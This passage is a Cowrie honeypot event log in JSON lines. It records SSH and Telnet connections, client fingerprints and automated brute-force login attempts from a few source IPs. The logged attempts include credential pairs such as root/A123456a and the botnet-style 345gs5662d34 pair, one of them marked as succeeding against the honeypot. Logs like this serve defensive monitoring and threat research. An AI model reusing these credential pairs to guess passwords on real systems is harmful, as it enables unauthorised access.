{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.953928Z","src_ip":"168.167.228.74","session":"f36441ec0ac7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:19.316528Z","src_ip":"91.92.42.227","session":"8c25bf23b252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:19.319369Z","src_ip":"91.92.42.227","session":"8c25bf23b252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53404,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2ce81b88df","protocol":"ssh","message":"New connection: 62.133.62.83:53404 (10.17.0.5:22) [session: 4e2ce81b88df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:19.710840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:19.714962Z","src_ip":"62.133.62.83","session":"4e2ce81b88df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:19.793210Z","src_ip":"62.133.62.83","session":"4e2ce81b88df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:20.003291Z","src_ip":"168.167.228.74","session":"f36441ec0ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night","message":"login attempt [root/night] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:20.031049Z","src_ip":"62.133.62.83","session":"4e2ce81b88df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:21.113600Z","src_ip":"62.133.62.83","session":"4e2ce81b88df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:21.260959Z","src_ip":"168.167.228.74","session":"f36441ec0ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40291,"dst_ip":"159.203.135.109","dst_port":22,"session":"491b513f8b6f","protocol":"ssh","message":"New connection: 168.167.228.74:40291 (159.203.135.109:22) [session: 491b513f8b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:21.505869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:21.510308Z","src_ip":"168.167.228.74","session":"491b513f8b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:21.759772Z","src_ip":"168.167.228.74","session":"491b513f8b6f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:22.812517Z","src_ip":"168.167.228.74","session":"491b513f8b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:22.919832Z","src_ip":"91.92.42.227","session":"8c25bf23b252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:23.060889Z","src_ip":"168.167.228.74","session":"491b513f8b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:23.065794Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:24.502190Z","src_ip":"91.92.42.227","session":"8c25bf23b252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60114,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76fb60d0eee","protocol":"ssh","message":"New connection: 91.92.42.227:60114 (10.17.0.5:22) [session: e76fb60d0eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:26.425604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:26.693243Z","src_ip":"91.92.42.227","session":"e76fb60d0eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:26.696505Z","src_ip":"91.92.42.227","session":"e76fb60d0eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:28.448305Z","src_ip":"91.92.42.227","session":"e76fb60d0eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:29.724593Z","src_ip":"91.92.42.227","session":"e76fb60d0eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.06688356399536,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:33.018806Z","src_ip":"128.199.8.54","session":"b6b3ec80787e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"49dfdfc2b053","protocol":"ssh","message":"New connection: 91.92.42.227:60174 (10.17.0.5:22) [session: 49dfdfc2b053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:33.559047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:33.769597Z","src_ip":"91.92.42.227","session":"49dfdfc2b053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:33.773164Z","src_ip":"91.92.42.227","session":"49dfdfc2b053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:35.193869Z","src_ip":"91.92.42.227","session":"49dfdfc2b053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:36.502880Z","src_ip":"91.92.42.227","session":"49dfdfc2b053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f680e79b61","protocol":"ssh","message":"New connection: 91.92.42.227:57836 (10.17.0.5:22) [session: b3f680e79b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:39.872964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:40.281009Z","src_ip":"91.92.42.227","session":"b3f680e79b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:40.283938Z","src_ip":"91.92.42.227","session":"b3f680e79b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35854,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e28e16c886","protocol":"telnet","message":"New connection: 128.199.8.54:35854 (159.203.135.109:23) [session: b3e28e16c886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:40.631569Z"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:43.044615Z","src_ip":"91.92.42.227","session":"b3f680e79b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:44.740803Z","src_ip":"91.92.42.227","session":"b3f680e79b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39386,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc10b0189c8","protocol":"ssh","message":"New connection: 91.92.42.227:39386 (10.17.0.5:22) [session: bcc10b0189c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:46.385816Z"}
{"eventid":"cowrie.session.closed","duration":42.33143496513367,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:46.433836Z","src_ip":"128.199.8.54","session":"0e9858646913","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:47.223533Z","src_ip":"91.92.42.227","session":"bcc10b0189c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:47.229557Z","src_ip":"91.92.42.227","session":"bcc10b0189c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:49.186240Z","src_ip":"91.92.42.227","session":"bcc10b0189c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:50.493909Z","src_ip":"91.92.42.227","session":"bcc10b0189c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39412,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc68ddaa30c","protocol":"ssh","message":"New connection: 91.92.42.227:39412 (10.17.0.5:22) [session: ddc68ddaa30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:54.251652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:54.255770Z","src_ip":"91.92.42.227","session":"ddc68ddaa30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa